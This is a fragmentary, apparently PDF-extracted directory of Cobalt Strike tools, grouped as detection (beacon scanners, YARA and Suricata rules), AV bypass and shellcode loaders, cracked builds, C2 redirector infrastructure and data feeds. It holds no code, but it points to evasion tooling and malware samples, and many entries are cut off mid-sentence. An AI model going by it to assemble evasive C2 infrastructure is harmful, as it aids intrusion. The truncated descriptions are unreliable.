grab_beacon_config
Simple PoC script to scan and acquire Co
Beacon configurations.
AntiCobaltStrike
C2-JARM
sslJARM hash
CobaltStrike
AntiCobaltStrike
JARM
JARM fingerprints scanner
AntiCobaltStrike
DetectCobaltStomp
A quick(and perhaps dirty!) PoC tool to det
Stomping as implemented by Cobalt Str
moderate to high confidence
AntiCobaltStrike
cobaltstrike
Code and yara rules to detect and analyz
Strike
AntiCobaltStrike
CS_Decrypt
cs beacon
teamserver
AntiCobaltStrike
CS Scripts
parse_beacon_keys.py .cobaltstrike.bea
AntiCobaltStrike
PyBeacon
A collection of scripts for dealing with Cob
beacons in Python Resources
AntiCobaltStrike
cobaltstrikescan
Detecting CobaltStrike for Volatilit
AntiCobaltStrike
CobaltStrikeForensic
Toolset for research malware and Coba
beacons
AntiCobaltStrike
DuckMemoryScan
A simple tool to find backdoors including
limited to iis hijacking, fileless Trojan, by
shellcode.
CobaltSplunk is a Splunk Application that k
AntiCobaltStrike
CobaltSplunk Splunk Application
to 1) ingest Cobalt Strike related logs and p
properly, 2) display useful operational dash
display relevant reports.
AntiCobaltStrike
BeaconHunter
Behavior based monitoring and hunting too
tool leveraging ETW tracing. Blue teamer
this tool to detect and respond to potent
Strike beacons. Red teamers can use thi
research ETW bypasses and discover new
that behave like beacons.
AntiCobaltStrike
CobaltStrikeDetected
40CobaltStrikesh
AntiCobaltStrike
BeaconEye
Hunts out CobaltStrike beacons and logs
command output
AntiCobaltStrike
Beacon_re
cobalt strike beacon
AntiCobaltStrike
Beacon.dll
cobalt strike beacon
AntiCobaltStrike
EvilEye
EvilEye is a BeaconEye implement in G
Anti-
AntiCobaltStrike
bypass-beacon-config-scan
Bypass cobaltstrike beacon config scan
BypassAV
Cooolis-ms
Cooolis-msMetasploit Payloa
Cobalt Strike External C2 LoaderReflec
injection
Web
BypassAV
UrbanBishopLocal
A port of FuzzySecurity's UrbanBishop
inline shellcode execution.
BypassAV
ZheTian
shellcode
BypassAV
EXOCET
AV-evading, undetectable, payload deliv
BypassAV
SecondaryDevCobaltStrike
CobaltStrike after second development, c
Kaspersky, Norton, McAfee, etc.
BypassAV
CrossNet-Beta
In the red team operation, the phishing exe
is generated by using the white utilization,
AV and automatically judging the net
environment. can bypass 360 and huo
BypassAV
EVA
FUD shellcode Injector
BypassAV
BypassAV
golang
BypassAV
NimShellCodeLoader
NimWindowsshellcode
BypassAV
beacon_hook_bypass_memscan
cs bypass:
https://xz.aliyun.com/t/9399
BypassAV
ZheTian
ZheTian Powerful remote load and execute
tool
BypassAV
bypassAV
shellcode
BypassAV
JsLoader
shellcode
BypassAV
ShellcodeLoader
shellcodersaexe
BypassAV
Alt-Beacon-Payload
Beacon payload using AV bypass metho
https://github.com/fullmetalcache/CsharpM
and shellcode generated from
https://github.com/RCStep/CSSG.(
cna)
Analysis
Beacon
Open Source Cobalt Strike Beacon. Unre
research stages
Analysis
Linco2
Cobalt StrikeBeaconC2
HTTPLinux C2c
Beacon
Analysis
beacon-object-files
This repository contains miscellaneous ex
Cobalt Strike Beacon object file exten
When you encounter a non-networked en
during penetration, you can use this tool to
Auxiliary
C2ReverseProxy
reverse proxy channel so that the beacons
by CobaltStrike can bounce back to the Co
server.
Auxiliary
Cobalt strike custom 404 page
You can find the CS service through 404
Auxiliary
StageStrike
A custom Cobalt Strike stager written in C.
project started.
Auxiliary
CS_SSLGen
sslgen will install a letsencrypt certificate a
Cobalt Strike keystore from it.
Auxiliary
CobaltPatch
Cobalt Strike Malleable Profile Inline Patch
A Position Independent Code (PIC) Code Te
Creating Shellcode That Can Be Appended
Post-Ex Blocks. Made for C Program
Auxiliary
pycobalt
Cobalt Strike Malleable Profile Inline Patch
A Position Independent Code (PIC) Code Te
Creating Shellcode That Can Be Appended
Post-Ex Blocks. Made for C Programm
Auxiliary
redshell
An interactive command prompt that ex
commands through proxychains and auto
logs them on a Cobalt Strike team se
Auxiliary
CobaltStrikeToGhostWriter
Log converter from CS logs to a CSV in Gh
operation log format.
Auxiliary
Ansible-Cobalt-Strike
An Ansible role to install cobalt-strike on de
architectures, let's be honest it's for
Auxiliary
cobaltstrike_runtimeconfig
A POC showing how to modify Cobalt Strike
runtime
Auxiliary
pystinger
Pystinger implements SOCK4 proxy and po
through webshell. It can be directly used
strike for session online.
Auxiliary
ansible-role-cobalt-strike
An Ansible role for installing Cobalt S
Auxiliary
CrossNet
In the red team operation, the phishing exe
is generated by using the white utilization
killing and automatically judging the ne
environment.
Auxiliary
CrossC2-C2Profile
CrossC2APIC
Auxiliary
BypassAddUser
Bypass AV to add users
Auxiliary
Docker-CobaltStrike
The tool covers almost all the technical lin
in the apt attack chain. Use cloud function
traceability Using docker container is fa
convenient Use the python script I wrote
privacy disclosure and malicious atta
Auxiliary
TeamServer.prop
TeamServer.prop is an optional properties f
the Cobalt Strike teamserver to custom
settings used to validate screenshot and
callback data, which allows you to tweak th
HotCobalt vulnerability. This repository c
example file that contains the default se
Synthesis
redi
Automated script for setting up Cobalt
redirectors (nginx reverse proxy, letsen
Synthesis
cs2modrewrite
Automatically Generate Rulesets for A
mod_rewrite or Nginx for Intelligent HT
Redirection
Synthesis
RedWarden
Flexible CobaltStrike Malleable Redire
Synthesis
Apache Mod_Rewrite Terrafrom
Automation
Bash scripts that take variables from the
then call terraform scripts to automate sta
apache2 with mod_rewrite in front of C2
Right now, this repo supports standing up
in Linode or Digital Ocean, and I have differ
for standing up http redirectors versus
redirectors. Since the mod_rewrite redirec
scripts use a user agent value and optiona
token, these redirectors are not C2 depen
can work for any C2 that uses http or
Synthesis
Red-EC2
Deploy RedTeam Specific EC2 via an
0x06 Related Resources
Type
Name
Description
Popularity
DATA
SilasCutler JARM Scan
CobaltStrike Beacon
Config.json
SilasCutler JARM Scan CobaltStrike
Beacon Config
data
data hot
hot
DATA
Cobalt Strike hashes
This page shows some basic information
the Yara rule CobaltStrike including
corresponding malware samples.
data
data hot
hot
Synthesis
Rapid Attack Infrastructure
Red Team Infrastructure... Quick... Fast... S
Synthesis
RedCommander
Creates two Cobalt Strike C2 servers (D
HTTPS), with redirectors, and RedELK in
AWS. Minimal setup required! Companion
Synthesis
CobaltPatch
Cobalt Strike Malleable Profile Inline Patch
A Position Independent Code (PIC) Code Te
Creating Shellcode That Can Be Appended
Post-Ex Blocks. Made for C Program
Synthesis
CPLResourceRunner
Run shellcode(Cobalt Strike) from res
Dev
vscode-language-aggressor
This is a Visual Studio Code (VSC) extensio
to provide: An implement of the Sleep an
Strike (CS) Aggressor grammar; and The d
Cobalt Strike functions' prototyp
Dev
PayloadAutomation
Payload Automation is a collection of Pyth
for automating payload development, test
checking, and deployment with Cobalt
Dev
CrackSleeve
cs4.0 cs 4.1 beacon
Crack
CSAgent
CobaltStrike 4.x
javaagent+javassistjar
cobaltstrike.jar
DATA
List of Cobalt Strike
servers
List of Cobalt Strike servers
data
data hot
hot
DATA
CobaltStrike samples
pass=infected
CobaltStrike samples
data
data hot
hot
DATA
List of spawns from
exposed Cobalt Strike
C2
List of spawns from exposed Cobalt
Strike C2
data
data hot
hot
DATA
C2IntelFeeds
Automatically created C2 Feeds based of
Censys
data
data hot
hot
YARA
apt_cobaltstrike
Cobalt Strike Yara
yara
yara hot
hot
YARA
apt_cobaltstrike_evasive
Cobalt Strike Yara
yara
yara hot
hot
YARA
rules
Cobalt Strike Yara
yara
yara hot
hot
Rules
suricata-rules
Suricata IDS rules used to detect the red
team penetration/malicious behavior,
support testing
CobaltStrike/MSF/Empire/DNS
tunnels/Weevely
scorpion/mining/rebound/kitchen/ice
shell/ICMP tunnel, etc
Rules
Rules hot
hot | pdf |